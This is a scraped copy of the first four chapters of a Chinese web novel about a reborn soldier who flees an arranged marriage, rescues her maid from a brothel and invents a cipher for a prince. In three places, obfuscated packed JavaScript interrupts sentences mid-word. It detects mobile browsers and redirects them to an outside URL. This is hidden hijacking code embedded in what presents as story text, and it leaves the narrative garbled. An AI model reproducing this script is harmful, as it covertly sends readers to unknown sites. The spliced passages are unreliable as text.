《震惊!死对头竟然是她的未婚夫》 1. 逃婚 春寒料峭,残雪未消。 凛风夹着清脆的铃声自山坡处刮来,不多时就见一辆富丽繁贵的马车,碾过地上的枯枝,沿着官道缓缓驶来。 车内的少女眼含秋水、眉弯如柳,一张秀丽绝俗的面庞却无半点血色,鹅黄色大氅的白色兔毛领,将脖颈紧紧围住,衬得面色愈发苍白。 车轮碾过几块碎石,使车身一阵晃动,少女猝不及防地向一侧倒去,幸而婢女莺儿及时扶住,才将将稳住了身形,她捂着胸口咳了两声之后,缓缓说道:“大约还需几日能到?” 坐在莺儿对面的常嬷嬷,看着如温室中娇花一般的大姑娘柳慕云,悦色说道:“回大姑娘,还未出营州地界,若能走快些,一个月左右便能入京了。” 她们不知道的是,眼前的柳慕云已不是柳家嫡女,而是来自民国的沈明月。 柳慕云母亲病故后,她伤心欲绝几欲跟去,她的父亲却全然不顾她热孝在身,派人来接她入京完婚,她一气之下吊死在母亲灵位之前。 沈明月自陆军学院毕业,在战场上不幸被流弹击中身亡,便重生到了这柳慕云身上。 她很快接受了现实,既然上天给了她重活一次的机会,那就要好好活下去,不能随意被安排,以后的路要自己说了算才行,于是她表面上学着婢女口中柳慕云的样子,暗地里收拾细软,准备逃走。 沈明月对常嬷嬷点点头,却听莺儿有些不满地说道:“嬷嬷也该顾虑下姑娘的身子,夫人尸骨未寒,姑娘伤心欲绝,如今病还未痊愈,你们便要接进京去,也太不近人情了些。” 常嬷嬷脸色微变,但还是赔笑道:“老爷如今荣升户部,迁居京都,若不是夫人病着,早该接家眷入京的,只不想夫人无福,偏偏这个节骨眼上故去了。” 听完这一番辩驳,莺儿更加气愤,忍不住道出实情:“嬷嬷这话自己可相信?老爷偏宠姨娘,何曾将夫人放在眼里过,如今姑娘还在孝中,怎么就给安排婚事……” 柳家有二女,大女儿柳慕云,为正妻王氏所出,夫人与主君不睦,一直带着女儿在祖宅生活;二女儿柳暮雪,为姨娘李氏所出,自小娇养,是全家的掌上明珠。 柳家主君此番来接人,是因为当今陛下看上了新晋户部侍郎柳公权家的女儿,意欲赐婚大皇子,顾洲。 能嫁入皇家自是莫大的荣耀,但这大皇子却是个肆意轻浮、骄奢淫逸之人,人人避犹不及,柳公权不愿二女儿遭罪,只得将这丢在老家的大女儿抬出来。 常嬷嬷瞥了一眼莺儿,冷言道:“你这小蹄子,好不讲道理,夫人故去,老爷不将姑娘接到身边去,难不成要姑娘一个人在老宅孤单无依?再说姑娘完成了终身大事,夫人九泉之下也能瞑目了。” 这常嬷嬷是李氏身边得力之人,在柳府颇有脸面,此番李氏派她前来,曾仔细叮嘱务必要隐瞒实情,将大姑娘好生带回,唯恐二姑娘落入魔爪。 她来时还想着少不得要受什么委屈,但好在大姑娘是个软弱的性子,不曾为难于她,故而也暂且忍下了莺儿的责问,一切待归京后再做计较。 沈明月看着脸色已然变青的常嬷嬷,开口道:“莺儿住口,嬷嬷远道辛苦,自是为了咱们好,不要辜负了姨娘和嬷嬷的一片苦心。” 沈明月此言并非是讨好常嬷嬷,而是想让她放松警惕,以待时机。 晚间,车马行至青城入驻客栈,随从安置车马之时,沈明月命店小二去附近的酒楼里买了酒菜来,不顾疲惫亲自检验后,又借了店家的炉灶,做了一些金钱酥劳慰众人。 随从们劳累一日,自是愿意放松一下,纷纷向大姑娘道谢后,也未推让,坐下来大快朵颐一番。 常嬷嬷脸上带笑,走到沈明月跟前道谢:“大姑娘真是菩萨心肠,老身替大家伙儿谢过大姑娘。” 沈明月揉着肩膀说道:“嬷嬷哪里的话,这一路大家劳顿,却都尽心尽力,到了这一处繁华地,也该松快松快,嬷嬷也去吃酒吧,我疲乏得很,要休息了。” 常嬷嬷见不需要她服侍,于是福了一福,道了声“大姑娘安歇”后也去吃酒了。 莺儿见自家姑娘为了讨好这些人,竟然亲自下厨,心中十分怨怼,掩上房门说道:“姑娘何必对这个老妪这般客气?现在不立威,等以后进来京还指不定怎么欺负姑娘?” 沈明月微微一笑,低声道:“你还想着进京?进了京就真进了虎狼窝了。” 莺儿叹了口气:“不然怎么办,父母之命不可违。” 真是满脑袋封建思想,沈明月戳了戳她的头,说道:“收拾东西,今夜姑娘带你去见见外面的世界。” 莺儿瞪大了眼睛,不可思议地看着她家姑娘说道:“姑娘是要……” “逃婚”二字还未说出口,沈明月便将她的嘴捂住,并做了一个噤声的动作,她本不想带上这小婢女,但她走后柳家肯定会迁怒于莺儿,到时会是个什么后果,谁也说不好。 二人默默的收拾了两个包裹,将收拾细软贴身收藏,静静听着外面的动静。 “梆——梆、梆……” 终于外面响起了四更天的梆子声,此时正是人们熟睡之际,她们轻手轻脚出门,来至后院中。 月明清辉,将院中的每一个角落照亮,沈明月让莺儿先去牵马,她于暗中观察,果不其然,马儿的动静惊醒了店小二。 莺儿害怕地蹲下,隐在马厩里,店小二只见马动,便叫了一声“是谁”,声音虽不大,但在这安静的夜里显得尤为突兀,他见无人回应,便向马厩走去。 沈明月于暗处抄起一个根木棍,悄声从店小二身后给了他一闷棍,店小二“哼”了一声后倒地,随后她将人拖到草堆里。 院中再无动静,二人小心翼翼地牵着马远离了客栈后,才敢骑马快行,行至东方鱼肚白,马儿再也跑不动,便勒马停下休息。 莺儿担忧地问道:“有人追上来怎么办?” 沈明月将一块饼递给她,毫不担心地说道:“放心,昨日的酒里加了料,昏睡一夜没问题,估计此时他们正上吐下泻呢,那有力气追咱们?” 看着莺儿的疑惑,她又无奈解释道:“我做的点心里加了巴豆。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350329|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莺儿恍然大悟:“原来如此,怪不得姑娘不让奴婢尝那酥饼,姑娘是什么时候准备的巴豆?” 她神秘一笑:“居安思危,思则有备,有备无患,敢以此规。” 莺儿听完更是迷惑,这听起来像兵法,她家姑娘每日里读的不是《女则》就是《女训》,怎么突然懂了这么多了。 沈明月继续叮嘱道:“柳家的人定会来追,但他们不敢大张旗鼓地找,咱们先去营州城里避避风头,近来要小心行事,记住,你家姑娘此后叫沈明月。” 莺儿点点头:“一切听姑娘安排。” 为防有人追来,她们没有走官道,而是改走山间小路,临近日暮,本就不明亮的山间变得更加昏暗。 羊肠小路顺着山势曲曲折折,周围密林中一片宁静,只有马蹄踏过枯草的声音,这让沈明月不由得心底生寒,多抽了几鞭子,加快速度。 若待营州城门关闭前赶不到,那就真要露宿荒山了,且不说能不能熬过这寒冷的天气,单是这山间的野兽足以要她们的命。 正待沈明月焦急之时,忽然间,只听惊鸟振翅,紧接着身后传来“嗖”的一声,不待她反应,身后的莺儿便摔下马去。 她立即下马查看,只见莺儿晕倒在地,发髻上插着一只羽箭,还未来得及将她拖至隐蔽处,周围就钻出来五个衣着破旧的山贼。 为首的头目,络腮胡须、额头上一道长长的刀疤,看着甚是吓人,刀疤色迷迷地说道:“呦呵,竟是两个小娇娘,爷们儿今天也劫个压寨夫人。” 说完众人一阵哄笑。 沈明月听闻此言,心中有些发凉,若是劫财,将细软交出也就罢了,若真是劫色那就来一场恶斗,但面对这五个彪形大汉,以她的格斗擒拿之术,绝不是这几个人的对手,必须以巧取胜。 她起身拱手为礼:“诸位好汉,都是江湖中人,在下着急归家与家人团聚,抄了小路,不想竟惊扰了各位,实在抱歉。” 说完,双手奉上包袱:“出门匆忙,随身不便多有携带,望诸位行个方便,日后必会重谢。” 刀疤示意手下将包袱拿走,上下打量了她一眼后笑道:“呦,还是个文人……正好带回去做个压寨夫人,教咱兄弟们写写字。” 一个干瘦的山贼耐不住性子,上前来欲捉沈明月的手,却被她捉住手臂用力一扭,摔在了地上,山贼顺势打了个滚,挣扎着爬起来,觉得十分丢人,委屈地喊了一声:“老大!” 山贼头目一看她竟然身手不凡,立即示意众人一起上前,一番打斗,沈明月孤不敌众,眼见要被土匪活捉。 正不知如何脱身之际,只听得马蹄声起,眼尖的山贼低声喊到:“有人来了,快走……” 众人一听,立刻停下手中的动作,不管不顾地向山林中奔去,随后几个身着窄袖黑衣、手持环首刀的侍卫,飞身向他们追去。 沈明月转向黑衣人来的方向,只见一个身骑白马、脚踩银蹬、腰悬宝剑的锦衣男子,正弯弓拉箭对准了她。 男子手一松,雕翎羽箭迎面冲来。 2. 青楼 沈明月闪身一躲,侧身倒地,箭簇果然正中在她身后逃跑山贼的心脏处。 她惊得一身冷汗,咬紧牙关,努力平复着心中的慌乱,起身爬到莺儿身边,见她只是昏迷并未受伤,才松了口气。 地上响起窸窸窣窣的声音,沈明月抬眼看到一双靴子向她走来,顺着挺拔秀颀的身躯向上看去,昏暗中只见那男子眉如描墨、面庞冷白,下颌线的轮廓藏着锋利的寒意,深邃幽冷的目光虚虚地投在她身上。 她起身准备道谢,脚下一软身体又摔了下去,原来是腿部受了伤,血已将衣裙染红,只是刚才紧张未有察觉,此番松懈下来,便觉钻心的痛。 打斗声止,劫匪被制服,一个侍卫向男子禀报:“回主上,土匪五人,死三人,活捉二人。” 男子并未回答,从侍卫的箭囊中抽了两支箭搭在弓上,朝着山贼射去,山贼的求饶声戛然而止,男子面上毫无表情,转身离去。 沈明月看着周围的荒郊野岭,天色又晚,留下必然一死,眼下只有此人可以求助,于是哀求道:“多谢公子相救,公子可是要去营州城里?天黑路远,烦请公子捎我们姐妹二人一程。” 男子驻足,回看她一眼,对着侍卫打了个手势,而后撩衣上马,一挥马鞭向营州城方向奔去。 沈明月忍着痛带着莺儿上马,艰难地行至营州城外,可城门已然关闭,侍卫告知她二人可到灾民营休息一晚。 灾民营在城外军营后,是一处暂时收留流民之地。 安顿下来,莺儿一边为大姑娘包扎一边哭泣:“姑娘,这屋子这样冷,连被子都没有……以后该怎么办?” 沈明月倒是沉着冷静,思考着以后之事,她们这身衣服太打眼,易引来别人注目和贪念,明日当掉再买被褥、衣服和吃食,以后再进城赁间屋子居住。 二人盖着一件大氅熬过了一夜,次日置办物品倒也顺利。 第三日,日暮十分,沈明月望着城门方向焦急不已,午后莺儿便去城里赁房屋,到此刻也未归还,眼见人迹渐稀,她不能再等了,需立即动身去找人。 她记得莺儿说过看上西城一家馄饨摊旁边的院子,进城后一番寻找,竟找到了房屋所在,她上前敲了几次门,却无人回应,她又转向馄饨店问摊主道:“今日可见一女子来此赁屋子?” 这个时辰食客正多,摊主边用勺子搅动着馄饨锅边敷衍道:“我每日客人那么多,哪里注意到你说的人?小女子贪玩,说不定天黑了就回去了,姑娘也别急,来碗馄饨,我这馄饨皮薄馅大,保你吃一碗想两碗……” 沈明月不与他废话,直接掏出一块碎银子拍到案上:“来碗馄饨……” 摊主见了银子立即换了笑脸,将她拉到一边说道:“姑娘这边请,小心热水烫到您……” 继而小声说道:“下午的确有个老虔婆带一女子来看房子,但进去后再没出来,姑娘赶紧去秦香楼找找吧,再晚些就来不及了!” 秦香楼,一听就不是什么好地方,沈明月问清方向后直奔那里而去,果见一座气派的小楼矗立在一片车水马龙之间,雕花大门敞开,宾客如云,好不热闹。 沈明月哪里有心观景,直接进门,脚还没迈进门槛,便被门口的几个青手拦下撵到了街上,她心急如焚,硬闯至大堂内。 一个身着宝蓝色绸缎衣中年老鸨,早已闻声赶到,见来人是个身着布衣的女子便松了口气,扭着腰身上前笑道:“呦呦,是哪家俊俏的小娘子来寻郎君了?来,跟姐姐说说,姐姐帮你寻人,断不叫你了受委屈。” 她边说着边示意身边的女子将周围观看的人群疏散,又给青手个眼色,让他们做好准备。 沈明月耐着性子说明来意,老鸨却否认:“姑娘怕是走错地方了,我们这里可是正经的地方,姑娘们都是你情我愿,不曾有强迫之举。” 沈明月并不相信:“若你所说属实,可否让我查看一番?” 老鸨冷笑一声:“就是官府来搜查也要有个文书,怎么姑娘说查就查?来人,将姑娘请出去,别耽误了今日的生意。” 青手得令,上前来欲将沈明月叉出去,她自是反抗,几人打作一团,引得楼上楼下众人围观,一时间杯盏碎裂声、女子惊呼声不断。 此时的莺儿在后院听说前堂有来寻人,知是大姑娘来救她,拼了命地冲破阻拦来到堂内,大呼:“姑娘救我!” 沈明月一把推开一个青手,上前接住莺儿,只见她衣衫已破,一道道鞭痕触目惊心。 老鸨见事败露,命青手一起上前,沈明月拿着一条断了椅子腿,指着众人说道:“谁敢上前,我便打断他的腿,快放我们走!” 老鸨阴沉着脸上前一步说道:“不知好歹,这个地方是你想来就来,想走就走的吗?这人可是我花大价钱买来的!” 沈明月只想尽快离开这里,将荷包扔了过去,说道:“这些足够了!” 这是她们的全部家当,她也不知道里面有多少,但足已赎人了。 老鸨掂了垫荷包,又掏出一块银子咬了咬,说道:“这些只够姑娘赔偿我这摔坏的桌椅板凳、打碎的杯盘碗盏的钱,还有今日吓到了我的客人,影响了生意,这钱又要怎么算?不如姑娘将人留下,等筹了钱再来赎人不迟。” “你……”沈明月恨的咬牙切齿,这分明是刁难,沈明月恨得咬牙切齿,看来拳头才是硬道理,她紧紧抓住手中的棍子,准备破釜沉舟。 正在这时,楼上响起一个男子带着醉意的声音:“何事要闹到如此地步?扰得人没了兴致。” 众人寻声望去,只见一个衣着华丽、神色惺忪的男子缓缓走下楼来,身后紧紧跟着一个女子。 女子衣衫轻薄,胸前一片柔光细腻、樱桃小嘴不点而赤,面色微红,娇艳若滴。 沈明月见了男子,眼中闪过一丝诧异:这不是前几日救她之人吗? 老鸨见了说话之人,立即换上一副笑脸,此人正是新调来到营州的守备将军,顾洲,听闻此人来头可不小,正是当朝大皇子,是真正的贵客。 不过这位大皇子却不成器,击球走马,放鹰逐犬,流连烟花,夜宿章台,委实是放荡不羁,这不刚刚被当今圣上贬到营州,就来了这风月之地。 老鸨自是不敢揭穿顾洲的身份,立即赔笑道:“新来的人不懂规矩,扰贵客雅兴,罪过罪过……来人,将她们带回后院。” 顾洲却直接戳破她:“你这老妪可真会搬弄是非,当我没听见是吗?这些银子足够再买十个人了,你还真是贪得无厌,还不快将身契还了。” 老鸨自己找个台阶:“误会、误会,都是误会,我只是想让二人回后院,疗伤后再走,身契一会儿就归还。” 沈明月立即明白,抓住身契破绽,质问老鸨:“她的户籍不在这里,怎么签得了身契,你颠倒黑白、强抢民女,不怕官府的人查你吗?” 说完,她向男子投去了感谢的眼神,却见男子带着一丝探究看了一眼她后,揽着身后的女子离开,又抬手在女子唇上点了一下,轻声说了些什么,引 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350330|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得女子娇笑不已。 提及官府,老鸨不再作声,长着脸却堆着笑,放二人离开。 刚出门,莺儿便摔倒在地,沈明月只得将她背在身上,向城门走去,她每走一步就牵扯一下腿上的伤口,疼痛让她使不上力气,但仍咬牙坚持。 天上积起云来,细雨如丝夹着雪花落下,不多时路面上就积了一层薄薄的雨水,街边灯笼的光碎在水中,宛如一道银河。 人们早已回家避雨,路上只剩她二人艰难地前行,细雨如蛛网,似乎要将她们困在这寒夜之中。 莺儿嗫喏道:“姑娘,放奴婢下来吧,奴婢自己能走。” 沈明月感觉身后的一团越来越热,也越来越沉,喘了一口气后说道:“莺儿,再坚持一会,很快就到了。” 此话她亦是给自己打气,漫漫长街,不知道还要走多久。 身后传来一串清脆的马蹄声,犹如棋子落地,打破了长街的宁静,紧接着在车夫一串“让开、让开”的催促声中,沈明月坚持不住摔倒在地,却被车夫咒骂了一声“找死”。 沈明月刚刚想骂回去,不料马车却停了下来,一个侍卫回身向她们走来,请她上车。 她本想拒绝,可看着瑟瑟发抖的莺儿,只得恭敬不如从命了。 车门打开只觉一股暖香扑面,车内一人正以手撑额,斜倚在座位上,双目微阖、眉头紧蹙。 待沈明月看清他的脸后,甚感惊讶:怎么又是他? 此时的沈明月狼狈至极,浑身潮湿、衣裙上沾满了泥水,她蜷在车厢的一角坐定,捋了捋鬓边滴水的碎发后谢道:“多谢公子相助。” 顾洲并未回答。 莺儿咳了几下,沈明月紧紧搂住她,心中十分后悔:是她低估了这个社会的险恶,万不该让她一个人出来。 看着莺儿被烧得通红的脸,她心中酸涩,眼中起了雾气,一闭眼,一串泪水顺脸颊滴下。 一件外袍抛来,沈明月才从思绪中出来,忙拭了泪,转头向男子致谢,却发现男子正在颇为玩味地看着她。 沈明月想此人刚才在秦香楼出手相助,虽说纨绔却也仗义,想来应是怜弱之人,于是她柔柔弱弱地俯身谢道:“多谢公子。” 顾洲抬眼看过去,烛火明灭中,只见她的身影纤薄,双眸中结满了愁绪,苍白的面庞犹如一块碎玉,凄凉而脆弱。 但他并不怜惜,反而轻蔑一笑,低头把玩着折扇:“哦,算这次,我已救了你三次,该怎么谢呢?” 这倒是让沈明月不好回答,的确,她身无长物要如何报答?思考了一下后,只得选了个折中的回答:“大恩不言谢,公子对小女子的恩情太大,小女子无以为报,只能铭记在心,以后定日日向三清真人祝祷,祝恩人一世顺遂。” 顾洲不屑的瞟了她一眼,轻蔑的说道:“托的倒是大,你连我的姓甚名谁都不知道,如何祝祷?” 一番话让她脸上一阵青白,低头咬着嘴唇不知如何作答,若换作别人,或许会说些当牛做马、为奴为婢的誓言来,但这些话她却说不出口,只得承诺道:“敢问公子名讳,以后若公子有用得到小女子的地方,小女子定当全力相助。” 顾洲冷笑一声:“真是自不量力!自身都难保,还敢出此狂言。” 恰好此时车停了,外面的侍卫说道:“主上,灾民营到了。” 沈明月犹在揣测他的意图,并未听见侍卫之话。 “还不快滚!”顾洲眼神没有一丝温度,冰冷的声音中充满了厌恶。 3. 密码 沈明月吓得一个激灵,赶紧带着莺儿逃也似地下了车去,对此人的感激之情全然消失。 纵然是救了人也不该如此不羁,万恶的封建统治者! 一夜担忧,清晨时莺儿的体温终于退了下来,醒来后却不言不语,只是默默流泪,几次寻死皆被沈明月拦下。 这个时代,女子失节,大约此后便没了活路,所幸此事发生在夜里,不为人知。 沈明月讲道理摆事实:“……这些都是男权迫害女性的精神工具,男性可以三妻四妾,女性为什么要严守贞操……” “……该受到惩罚的是人贩子和青楼的人,而不是你自己,生命宝贵,咱们好不容易死里逃生,不能就这样轻易地断送了……” 莺儿自幼便受男尊女卑的教育,这些思想她一时不能理解,只是哭泣寻死,沈明月一怒之下,揪着她的衣领说道:“你这样是要闹得人尽皆知吗?你父母将你养大,你对得起她们吗?我好不容易将你救了出来,你对得起我吗?” 一番责备和安慰,终于让莺儿放弃了寻死的念头,她心中暗暗发誓,日后有了能力定要端了秦香楼,为莺儿报仇。 眼下生活还要继续,维持生计需要银钱,但所剩财物并不多,沈明月正发愁如何维生之际,忽听得隔壁的女子说道:“他舅舅来信了,咱们去请先生念念。” 她这才想起在这个时代,阶级划分严格,这难民营中皆是贫苦人,没有闲暇和银钱去读书,都是斗大的字不识一箩筐。 这倒是个商机,以她的学问在这里做个博士也不为过,区区几封书信不在话下。 当机立断,她托对隔壁的女子去城里买了些笔墨纸砚,而后在门口支了个摊位,正式开张。 没想到生意出奇地好,很快她就在灾民营里出了名,甚至有营中军士和附近的村民来找她写信、读信,还会有人请她写对联、取名字。 自古士农工商,阶级分明,读书人在这个时代来说是个相当体面身份,来人皆称尊称她为“先生”。 她又在人指点下到军营办理了流民的白籍,拿着户籍单子她心生喜悦,待以后买了房子再换成平民的黄籍,如此便可后顾无忧了。 手中的银钱逐渐积起来,莺儿在她的耐心劝导之下也好了起来,生活充满了希望。 世间寒意散尽,风中已带上了夏日的燥热,时至谷雨,二人终于攒够了租赁房屋的银钱,她们决定晚间到河边洗个澡,明日干干净净地离开这里。 却十分不巧,莺儿来了癸水,沈明月只得独去。 人定时分,她来到河边,将外衫脱下藏到了芦苇丛中,只穿着亵衣、亵裤慢慢走进水中,河水被晒了一日,摸起了温度正宜,再往深处走走,水正好淹到胸部。 一身的汗水被水流带走,顿觉周身舒爽起来,正想退掉衣衫,好好搓洗一番时,忽然听见岸上传来了脚步声,她赶紧屈下腿,将脖子以下隐在水中。 “可查到是何人所为了?”这竟然是那纨绔的声音。 一个女子的声音回答:“还没有,但密信丢失,还请主上早做筹谋,还有您夜宿秦香楼一事,传入京城后,秦王和晋王的戒备已略有放松。” 借着月光,沈明月隐约看到女子的面貌,竟像是秦香楼里那纨绔怀里的女子,她捂住自己的嘴,继续隐藏。 星子点点,夜风微凉,岸上的顾洲顿了一下,继续说道:“那几个侍卫,都处置了吧。” 女子单膝跪地请求:“主上恕罪,培养侍卫不易,求主上查出细作后再处置。” 顾洲声音阴冷:“你想抗命?” 女子叩首:“属下不敢。” 顾洲叹了口气:“密信泄露,他们难辞其咎,留个全尸吧……之前让你查到事可有进展了?” 女子:“属下已派人到娘娘所说这地探访过,但时间久远,未能查到踪迹。” 顾洲:“继续查,去吧。” 女子覆上黑色面纱后告辞离去,顾洲在水边踱了几步,之后驻足目视远方。 他不紧不慢,但却急坏了水中的沈明月,夜逐渐变凉,水温下降,她长时间保持半蹲的姿势,腿部有些麻木,再这样下去只怕就要被水冲走喂鱼了。 这浪荡子也真是的,不赶紧回去想办法,却在这里惆怅发癫,她想换一下姿势,却脚下一滑失去支撑,身子往后一栽,头没入河水之中,水一下涌入口鼻,身体迅速下沉。 她的手脚在水中无意识地踢蹬,想找到一个着力点,可越是挣扎就沉得越快,正当她的呼吸被完全吞噬、仿佛是陷入深渊无法逃脱之时,身体被抬出了水面。 终于可以呼吸了,她深深吸了了一大口气后,才发觉她正在一个坚实有力的臂弯里,这人将她一步步带到了岸上,她紧闭双眼,想也不用想,肯定是那纨绔。 来人趟过河水发出哗啦啦的声音,在沈明月听来却十分惊心,听得如此机密,不知他会如何处置自己。 她被扔到石滩上,亵衣紧紧地贴住身体,勾勒出窈窕的腰身来,冷风一吹,再加之心中紧张,身体不受控制的战栗起来,她紧紧地抱着双腿蜷缩成一团,被水模糊的视线中出现一柄闪着寒光的剑锋。 “你都听到了?”狠戾的声音传来,这声音如腊月里的冰锥,让她身躯狠狠一颤。 顾洲加重了语气:“说!” “未曾……我离得远,听不到……”沈明月的声音微微颤抖,努力让自己清醒,知道一旦承认,必死无疑。 “胡说!”顾洲说着,剑锋又往前伸了一寸。 “真的没有……”沈明月只觉得冷,四肢麻木脑子有些混沌。 “还不说实话?”顾洲用剑尖将她的下巴挑起,阴鸷的目中渗出寒意:“那就不必活着了,近日雨水多,冲走一个人也是常事。” 沈明月惊魂不定,心中将这话重复了两遍,才明白这纨绔已起来杀心,这种情况下,不管她听到没听到,只有一死才能让这纨绔放心。 她咬着牙,大脑飞速运转,想该如何自救,剑锋又回到脖颈处,她突然脑中灵光一现,快速说道:“我有办法!” 剑锋停顿。 见有转机,她深吸了一口气后补充道:“我有办法不让密信泄露。” 顾洲半信半疑:“当真?” “当真,给我三日时间,我保证给公子一个满意的答案。” 此事她的确胸有成竹,密电技术对她来说不是什么难事。 不料顾洲冷笑一声:“三日?这么长时间,是准备逃跑吗?沈明月,你是什么人?谁派你来的?” 听到他叫了自己的姓名,沈明月一愣:“公子何出此言?” “能从山贼手中全身而退,能轻易躲过我射出的箭,又能和秦香楼的青手对抗,你觉得普通女子,能做得到吗?” 的确有道理,沈明月支支吾吾地解释道:“我……我曾学得一些功夫……” 顾洲听完又将剑提起对准了她,厉声说道:“还在狡辩!你替人写对联,可以写出几种字体来,若非特意训练过,怎会习得如此本领。” 不想竟然在此处露了马脚,沈明月惊讶的看着眼前之人,原来他早已怀疑自己,军士来请她写信估计也是他故意安排的。 这个纨绔倒是思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350331|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维缜密,心机深沉。 此刻不可再逞强,她垂下双眸,惨兮兮地说道:“想必是公子误会了,小女子只为能在这里求得生存之机,从未对公子有过伤害之举,请公子明察。刚才所说的密信之法也是小女子独创,真心愿献给公子,以解公子燃眉之急,若公子还不相信,就请动手吧!” 沈明月说完这些,眼一闭、心一横,闭眼抬头,将胸口的位置暴露出来,只等剑锋来刺。 她胸口的肌肤,在湿漉漉的亵衣中若隐若现,顾洲见了立即侧过头去,沉默了一会儿后,说道:“明日太阳出来之前给我答复。” 剑锋收回,沈明月松了一口气,瘫坐在地上,想到自己身上还湿着,又衣着暴露,心中羞赧,一时委屈掉下眼泪来,请求道:“公子宽宏,待小女子穿好衣服就回去写好,明日交给公子。” “衣服在哪里?” 沈明月指了指芦苇丛,顾洲大步过去将衣服挑起扔给她,她赶紧穿好,起身想回住处。 不料顾洲吹了一个口哨,两个侍卫赶了过来,不由分说地将沈明月捆了带回军营。 侍卫将她关在一个房间内,里面早已备好纸笔,她在手上呵了呵气,不再颤抖后,快速将摩斯电码写了下来,但斟酌了一下后又觉不妥,若是那纨绔问起来这字母是什么,又要多费口舌解释,若解释不通,恐怕又是灭顶之灾。 思索至半夜,她又想起了简单的四角号码,只要记住规则,每个汉字便可用一个四位数来表示,一段话用一串数字表达,若不知如何截取便不会泄露机密,这已足够使用了。 次日,天还未亮她就拍门,侍卫将她带至一处大殿内,那纨绔正背对门口负手而立。 侍卫回禀:“主上,人带来了。” 纨绔闻声转身。 沈明月见他一身藏青色便服衣衫,玄色绦带束腰,仪容端正、身子挺拔,眉眼间竟还有些温文尔雅之感,与此前相比简直判若两人,但见到她之后,他立即换上了阴冷的眼神。 真是只披着羊皮的狼,沈明月边想着边将纸奉上。 顾洲打开一看,只见上面写着四句话:横一垂二三点捺,叉四插五方框六,七角八□□是小,点下有横变零头。?? 他将纸抖了抖,十分不满:“就这?你是在耍我吗?” 沈明月连连否认:“不敢不敢,小女子怎敢欺瞒将军……” 之后她详细解释了一番,见纨绔似有思量,小心地问道:“答应公子的事,小女子已办到,请问小女子可否离开?” 顾洲拿出一张密函,说道:“你这般狡猾,谁知道你有没有骗人,此方法还需验证,将这封信按你的方法写出来。” 所谓“疑人不用、用人不疑”,这点道理都不懂,沈明月怒气翻涌,却也无奈,密码写好自有侍卫拿了出去。 顾洲又吩咐侍卫:“来人,将她关起来,严加看管。” 侍卫将沈明月押住,她反抗着与侍卫动起手来。 顾洲嘴角泛起一丝冷笑,不慌不忙地说道:“带上来。” 侍卫应声将莺儿捆了进来,莺儿见了沈明月委屈地叫了一声:“姑娘……” 沈明月见到莺儿便分了神,一个不小心被侍卫制服在地,她抬起头,眼中满是倔强:“你……言而无信卑鄙无耻!” 顾洲俯身捏住她的下颌,阴冷的声音再次响起:“对你这样奸滑之人不必讲信用,你最好老实些,别再想着玩什么花样,若这方法有假,我先杀了她,你也别想活着从这里出去。” 继而他起身,用帕子擦着捏过她下颌的手指,吩咐侍卫:“带下去。” 4. 别院 沈明月被关到了监牢里。 这监牢没有窗户,终年幽暗潮湿,狭窄的空间里充斥着沉闷和压抑的气息,时间似乎将这里遗忘,一切生机都将腐烂在这里,所有的挣扎都毫无意义。 但沈明月是谁?她是一个战士,无所畏惧,她自信这方法没有问题,唯一担心的就是莺儿。 第四日,门终于开了,她被人提了出来,温暖的阳光晃得人睁不开眼睛,她下意识地用手去遮挡,微风带来了晨露的清爽,才发觉自己早已是一身霉味。 几日来食不果腹,身上有些无力,但到了大殿内见到那纨绔时她还是挺挺脊背。 彼时顾洲正一身战袍,坐于殿中执笔写文书,他抬头,心中甚是惊讶,几日牢狱竟没有让她消沉下去,她虽然蓬头垢面、形态落魄,却脊背挺拔,目光坚定,不见畏色。 这女子当真不一般! 他没有立即说话,而是低头写完最后两个字,“你的方法不错,但是有些地方不好理解。” 沈明月瞥了他一眼,“不用啰嗦,有什么话直说。” 顾洲站起身来:“好,痛快,将这方法教授给我的侍卫。” 这是要聘她为教师呀!既然是对方有求于她,掌握了主动权,那便要提些条件了。 她试探着说道:“可以,但是……” 顾洲也不绕圈子:“什么条件?” 沈明月抓住机会:“事成之后放我们离开,期间要保证莺儿的安全。” 顾洲用疑惑的目光扫了她一眼:“可以……你倒是很担心她的安危,一个婢女,只得你这般吗?” 人人生而平等,但似乎眼前之人不会理解这个道理,她不想多费口舌,只冷哼一声:“你这种草菅人命的纨绔自然不懂。” 这几个字眼让顾洲面色有些阴沉,背在身后的手握住拳,指节微微泛白,但还是说道:“我答应你。” 沈明月见他回答得勉强,给他一颗定心丸:“你放心,我沈明月不是言而无信之人,一言既出驷马难追,定能完成答应你的事。” 